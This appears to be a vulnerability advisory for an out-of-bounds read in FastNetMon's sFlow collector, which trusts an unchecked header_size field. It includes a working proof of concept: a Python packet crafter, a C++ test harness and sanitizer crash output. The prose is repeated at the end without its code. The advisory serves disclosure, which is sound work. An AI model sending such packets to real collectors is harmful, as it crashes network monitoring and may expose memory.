Summary
FastNetMon's sFlow collector copies an attacker-controlled header_size field straight from the wire and passes it, unvalidated, as the trusted "how many bytes may I read" bound to the nested Ethernet/IP/L4 packet parser. A single crafted sFlow v5 packet causes a large out-of-bounds read.
Details
process_sflow_flow_sample() (src/sflow_plugin/sflow_collector.cpp:384-401):
sflow_raw_protocol_header_t sflow_raw_protocol_header;
memcpy(&sflow_raw_protocol_header, payload_ptr, sizeof(sflow_raw_protocol_header_t));
...
auto result = parse_raw_packet_to_simple_packet_full(header_payload_pointer,
sflow_raw_protocol_header.frame_length_before_sampling,
sflow_raw_protocol_header.header_size, // <-- fully attacker-controlled, unchecked
packet, parser_options);
header_size (uint32_t, read directly off the wire) becomes captured_length inside parse_raw_packet_to_simple_packet_full() (simple_packet_parser_ng.cpp:35): end_pointer = pointer + captured_length. Every bounds check in that function is relative to this attacker-inflated end_pointer, not the real buffer - so a large header_size makes every internal check a no-op.
PoC
Step 1 - craft the malicious packet (craft_ghsa02.py):
#!/usr/bin/env python3
import struct
# sflow_packet_header_v4_t (28 bytes): sflow_version, agent_ip_version, agent_addr[4],
# sub_agent_id, datagram_sequence_number, device_uptime, datagram_samples_count=1
sflow_header = (
struct.pack(">i", 5) # sflow_version
+ struct.pack(">i", 1) # agent_ip_version (1 = IPv4)
+ b"\x00\x00\x00\x00" # agent address
+ struct.pack(">I", 1) # sub_agent_id
+ struct.pack(">I", 1) # datagram_sequence_number
+ struct.pack(">I", 0) # device_uptime
+ struct.pack(">I", 1) # datagram_samples_count = 1
)
assert len(sflow_header) == 28
# sflow_raw_protocol_header_t (16 bytes): header_protocol=1 (Ethernet), frame_length,
# number_of_bytes_removed, header_size -- THE BUG: set to 1 MiB, no validation exists
raw_header = struct.pack(">IIII", 1, 14, 0, 0x00100000)
assert len(raw_header) == 16
record = struct.pack(">ii", 1, len(raw_header)) + raw_header # element_type=1 RAW_PACKET_HEADER
# sflow_sample_header_t (32 bytes), last field = number_of_flow_records=1
sample_header = struct.pack(">IIIIIIII", 1, 0, 1, 1, 0, 0, 0, 1)
sample_body = sample_header + record
sample_tlv = struct.pack(">ii", 1, len(sample_body)) + sample_body # format=1 FLOW_SAMPLE
packet = sflow_header + sample_tlv
open("sflow_ghsa02_header_size_oob.bin", "wb").write(packet)
print(f"wrote sflow_ghsa02_header_size_oob.bin ({len(packet)} bytes)")
Step 2 - feed it to the real parser (harness_sflow.cpp, links directly against the unmodified sflow_plugin code):
#include "fastnetmon_configuration_scheme.hpp"
#include "sflow_plugin/sflow_collector.hpp"
#include <cstdio>
#include <cstring>
#include <fstream>
#include <vector>
log4cpp::Category& logger = log4cpp::Category::getRoot();
time_t current_inaccurate_time = 0;
fastnetmon_configuration_t fastnetmon_global_configuration;
static void dummy_process_packet(simple_packet_t& packet) {
fprintf(stderr, "sink reached: src_ip=%u proto=%u\n", packet.src_ip, packet.protocol);
}
extern process_packet_pointer sflow_process_func_ptr; // defined in sflow_collector.cpp
int main(int argc, char** argv) {
if (argc < 2) { fprintf(stderr, "usage: %s <packet-file>\n", argv[0]); return 1; }
sflow_process_func_ptr = dummy_process_packet;
uint32_t client_ipv4_address = 128;
std::ifstream f(argv[1], std::ios::binary);
std::vector<uint8_t> buf((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
// Tightly-sized heap allocation -- ASan's redzone catches any read even 1 byte past
// the true received length.
uint8_t* heap_buf = new uint8_t[buf.size()];
memcpy(heap_buf, buf.data(), buf.size());
parse_sflow_v5_packet(heap_buf, (unsigned int)buf.size(), client_ipv4_address); // real production entrypoint
delete[] heap_buf;
fprintf(stderr, "OK: no crash, processed %zu bytes\n", buf.size());
return 0;
}
Build (against FastNetMon's own sflow_plugin/libsflow sources, compiled with -fsanitize=address,undefined) and run:
$ python3 craft_ghsa02.py
$ ./harness_sflow sflow_ghsa02_header_size_oob.bin
Result:
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000000082
READ of size 6 at 0x608000000082 thread T0
#6 parse_raw_packet_to_simple_packet_full(...) simple_packet_parser_ng.cpp:45
#7 process_sflow_flow_sample(...) sflow_collector.cpp:399
#8 parse_sflow_v5_packet(...) sflow_collector.cpp:593
0x608000000082 is located 6 bytes to the right of 92-byte region [...]
The crash occurs on the very first field access (Ethernet MAC copy) inside the nested parser - confirming the fabricated end_pointer bypasses the function's own bounds check.
Impact
Unauthenticated remote out-of-bounds read: one crafted UDP packet crashes the sFlow collector, with secondary risk of adjacent-memory disclosure into parsed flow fields that surface in FastNetMon's own stats/reporting.
Summary
FastNetMon's sFlow collector copies an attacker-controlled
header_sizefield straight from the wire and passes it, unvalidated, as the trusted "how many bytes may I read" bound to the nested Ethernet/IP/L4 packet parser. A single crafted sFlow v5 packet causes a large out-of-bounds read.Details
process_sflow_flow_sample()(src/sflow_plugin/sflow_collector.cpp:384-401):header_size(uint32_t, read directly off the wire) becomescaptured_lengthinsideparse_raw_packet_to_simple_packet_full()(simple_packet_parser_ng.cpp:35):end_pointer = pointer + captured_length. Every bounds check in that function is relative to this attacker-inflatedend_pointer, not the real buffer - so a largeheader_sizemakes every internal check a no-op.PoC
Step 1 - craft the malicious packet (
craft_ghsa02.py):Step 2 - feed it to the real parser (
harness_sflow.cpp, links directly against the unmodifiedsflow_plugincode):Build (against FastNetMon's own
sflow_plugin/libsflowsources, compiled with-fsanitize=address,undefined) and run:Result:
The crash occurs on the very first field access (Ethernet MAC copy) inside the nested parser - confirming the fabricated
end_pointerbypasses the function's own bounds check.Impact
Unauthenticated remote out-of-bounds read: one crafted UDP packet crashes the sFlow collector, with secondary risk of adjacent-memory disclosure into parsed flow fields that surface in FastNetMon's own stats/reporting.